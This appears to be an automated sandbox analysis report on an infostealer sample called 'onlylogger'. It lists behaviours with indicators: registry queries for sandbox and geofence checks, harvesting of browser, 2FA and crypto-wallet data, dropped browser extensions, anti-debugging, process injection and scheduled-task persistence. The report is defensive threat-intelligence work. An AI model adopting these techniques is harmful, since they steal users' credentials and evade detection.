onlylogger | 9e719c4dd5e1086d5197fded7b8cdb0d3d592c0636b0d469fcda22c9723e8e7c

System Information Discovery

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

File.exeENIVAqt.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\International\Geo\Nation	File.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\International\Geo\Nation	ENIVAqt.exe

Loads dropped DLL 64 IoCs

Processes:

Setup_x32_x64.exeFolder.exeRobCleanerInstl3183813.exe1a07507c-49e7-4d34-bc38-84924174006f.exeFile.exeKAiKH94pWMfyZjJpl_FLZwx4.exeQ8racSWcujTaGues0ZbvCwRm.exeWvLdZt5JAnBhaguihxSqk9Jv.exeOYUgXMXra5yCj4N2TqBkKxhN.exexPS2HvMLghnPGpsTSEAx2ips.exesCzScBv7iQoB5eRAw7O1vVZl.execmd.exe

pid	process
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
2028	Folder.exe
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
1732	Setup_x32_x64.exe
1684	RobCleanerInstl3183813.exe
2532	1a07507c-49e7-4d34-bc38-84924174006f.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1548	File.exe
1476
1212	KAiKH94pWMfyZjJpl_FLZwx4.exe
1212	KAiKH94pWMfyZjJpl_FLZwx4.exe
432	Q8racSWcujTaGues0ZbvCwRm.exe
432	Q8racSWcujTaGues0ZbvCwRm.exe
1092	WvLdZt5JAnBhaguihxSqk9Jv.exe
2112	OYUgXMXra5yCj4N2TqBkKxhN.exe
2112	OYUgXMXra5yCj4N2TqBkKxhN.exe
1776	xPS2HvMLghnPGpsTSEAx2ips.exe
1776	xPS2HvMLghnPGpsTSEAx2ips.exe
2144	sCzScBv7iQoB5eRAw7O1vVZl.exe
2144	sCzScBv7iQoB5eRAw7O1vVZl.exe
2604	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

Setup_x32_x64.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Setup_x32_x64.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Setup_x32_x64.exe

Drops Chrome extension 2 IoCs

Processes:

ENIVAqt.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	ENIVAqt.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	ENIVAqt.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

62 ipinfo.io
61 ipinfo.io
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

flow	ioc
62	ipinfo.io
61	ipinfo.io

Drops file in System32 directory 22 IoCs

Processes:

TOVpcST.exepowershell.EXEENIVAqt.exeInstall.exepowershell.EXErundll32.exe

description	ioc	process
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	TOVpcST.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	ENIVAqt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	ENIVAqt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	ENIVAqt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_1BA0827A4EF228007FD2BC1C55C07DA7	ENIVAqt.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_A30EA9B4E1BC5DBF09A8EF399E086D27	ENIVAqt.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	ENIVAqt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_C15B120C7F4EE6F1182923868E66174B	ENIVAqt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_13BE91B3726C56FE2616E67BB40B189C	ENIVAqt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_A30EA9B4E1BC5DBF09A8EF399E086D27	ENIVAqt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	ENIVAqt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_1BA0827A4EF228007FD2BC1C55C07DA7	ENIVAqt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_C15B120C7F4EE6F1182923868E66174B	ENIVAqt.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	TOVpcST.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	ENIVAqt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	ENIVAqt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	ENIVAqt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_13BE91B3726C56FE2616E67BB40B189C	ENIVAqt.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs

Processes:

1a07507c-49e7-4d34-bc38-84924174006f.exeKAiKH94pWMfyZjJpl_FLZwx4.exexPS2HvMLghnPGpsTSEAx2ips.exesCzScBv7iQoB5eRAw7O1vVZl.exeQ8racSWcujTaGues0ZbvCwRm.exeOYUgXMXra5yCj4N2TqBkKxhN.exe1.exejg1_1faf.exesXC0lvXGCYLTMZDlPGNz1c6r.exe

pid	process
2532	1a07507c-49e7-4d34-bc38-84924174006f.exe
1212	KAiKH94pWMfyZjJpl_FLZwx4.exe
1776	xPS2HvMLghnPGpsTSEAx2ips.exe
2144	sCzScBv7iQoB5eRAw7O1vVZl.exe
432	Q8racSWcujTaGues0ZbvCwRm.exe
2112	OYUgXMXra5yCj4N2TqBkKxhN.exe
2680	1.exe
2540	jg1_1faf.exe
2124	sXC0lvXGCYLTMZDlPGNz1c6r.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

wgBhHGkIC_uXPFo5Nh44wnwx.exe

description pid process target process

PID 1112 set thread context of 2472 1112 wgBhHGkIC_uXPFo5Nh44wnwx.exe wgBhHGkIC_uXPFo5Nh44wnwx.exe

description	pid	process	target process
PID 1112 set thread context of 2472	1112	wgBhHGkIC_uXPFo5Nh44wnwx.exe	wgBhHGkIC_uXPFo5Nh44wnwx.exe

Drops file in Program Files directory 18 IoCs

Processes:

ENIVAqt.exe9JRwa5ttTX_uB_EdjUXHq93l.exejg1_1faf.exe

description	ioc	process
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	ENIVAqt.exe
File created	C:\Program Files (x86)\bQZEOuyekqRU2\mbZTSdQ.xml	ENIVAqt.exe
File created	C:\Program Files (x86)\uAhcATovcXckvYCnvyR\KJnAMex.dll	ENIVAqt.exe
File created	C:\Program Files (x86)\GuXKuCyCeSmjC\vWBbYTh.xml	ENIVAqt.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe	9JRwa5ttTX_uB_EdjUXHq93l.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	9JRwa5ttTX_uB_EdjUXHq93l.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	ENIVAqt.exe
File created	C:\Program Files (x86)\uAhcATovcXckvYCnvyR\UYOFPdH.xml	ENIVAqt.exe
File created	C:\Program Files (x86)\Company\NewProduct\d	jg1_1faf.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d	jg1_1faf.exe
File created	C:\Program Files (x86)\wjTkFrExU\RqHlCB.dll	ENIVAqt.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	ENIVAqt.exe
File created	C:\Program Files (x86)\bQZEOuyekqRU2\WRFqPHhlaCSBX.dll	ENIVAqt.exe
File created	C:\Program Files (x86)\GuXKuCyCeSmjC\JvcaePU.dll	ENIVAqt.exe
File created	C:\Program Files (x86)\lSmWvXKKfqUn\jPvLxZt.dll	ENIVAqt.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	9JRwa5ttTX_uB_EdjUXHq93l.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	ENIVAqt.exe
File created	C:\Program Files (x86)\wjTkFrExU\pXJUzIo.xml	ENIVAqt.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\bnkqNuphAZeBTHhYMc.job	schtasks.exe
File created	C:\Windows\Tasks\LMrvZmpowwChRBgra.job	schtasks.exe
File created	C:\Windows\Tasks\WcTeBRgOXLrCFSZ.job	schtasks.exe
File created	C:\Windows\Tasks\pyIEiyMuPIzAvWAZz.job	schtasks.exe

HTTP links in PDF interactive object 1 IoCs

Detects HTTP links in interactive objects within PDF files.

pdf link

Processes:

resource	yara_rule
\Users\Admin\Pictures\Adobe Films\sCzScBv7iQoB5eRAw7O1vVZl.exe	pdf_with_link_action

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2764 556 WerFault.exe VTEpec3Sw20dZDa89l22_ObW.exe

pid	pid_target	process	target process
2764	556	WerFault.exe	VTEpec3Sw20dZDa89l22_ObW.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

EvYP_9egPpHpvJDmKAjNZdXl.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	EvYP_9egPpHpvJDmKAjNZdXl.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EvYP_9egPpHpvJDmKAjNZdXl.exe

Creates scheduled task(s) 1 TTPs 11 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
2452	schtasks.exe
2400	schtasks.exe
2616	schtasks.exe
2012	schtasks.exe
2808	schtasks.exe
2488	schtasks.exe
2976	schtasks.exe
3016	schtasks.exe
964	schtasks.exe
2280	schtasks.exe
1056	schtasks.exe

Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

3044 timeout.exe
2736 timeout.exe

pid	process
3044	timeout.exe
2736	timeout.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

2140 taskkill.exe
2772 taskkill.exe
2172 taskkill.exe

pid	process
2140	taskkill.exe
2772	taskkill.exe
2172	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 37 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXE

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff5600000000000000dc04000065020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c0dd9d314118d801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000f302f7a020b975438ea1f1f995ba9783000000000200000000001066000000010000200000006462410e93054a210a97cc224664c30a8550fd9e284ec216f3722a91c3fd0dd5000000000e800000000200002000000025c7b2eed37ada0eb4778b544e4628980428c0b09b531278a9cb2d9c8b6cf00690000000e88f678f0605e158c2ca43609df8945ae35cfaa19ae326ebfd6152bc358a900fe13fbf39a68dc9157dd493dabdfb1c33171667b2086a607b98e6b30941928862241885899bf7dd5b714090797a662a740f82805fb12ee07989f7fde4d9168161b56cd97cf98869edfb61cfa4d1874dd07f2ebcf3beeb61f52657dd2d88bac8b635a73c2904c37c1aad62827a5cb84a3040000000643702504e0b64e4b98aa85e3130a25ee7805d8f933b19a2d34c80c2cccca8911e6c0cf58b7647127ddecb07b9db7470d9aad36995ae701a74a835604a331254	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "350577081"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{55DE98A0-8434-11EC-BCF0-DAA6A9DFF92B} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000f302f7a020b975438ea1f1f995ba978300000000020000000000106600000001000020000000fea700ae10fad3b4ff198e3eaad902a54bf1daca67c4e3766962a1579754e3b3000000000e80000000020000200000007b8cd617befa32a2360360980296dcacfa1e744ab7081df963ee4149d808083f200000009baa61a436e6c2d1b7d1476837bc42b85a39cc67d5f6690435bde7b11cc83f9740000000600274948e049c0619c1048f61c2faca884064ed4b32717c7b3adff16bedb7cbffbb17069ad3d92b20b46650c335383c453ea531512202a642a248f752ee47f5	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

ENIVAqt.exerundll32.exewscript.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	ENIVAqt.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-82-17-f2-3d-72\WpadDecisionTime = 7052d4c04218d801	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000004000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0097000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2E4AE10F-F4EA-41EB-A355-87E5D6D04E9E}\WpadDecisionTime = 7052d4c04218d801	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	ENIVAqt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-82-17-f2-3d-72	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	ENIVAqt.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	ENIVAqt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0097000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	ENIVAqt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2E4AE10F-F4EA-41EB-A355-87E5D6D04E9E}\WpadDecisionReason = "1"	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-82-17-f2-3d-72\WpadDecisionTime = 304fc7f24218d801	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{2E4AE10F-F4EA-41EB-A355-87E5D6D04E9E}\WpadDecision = "0"	rundll32.exe
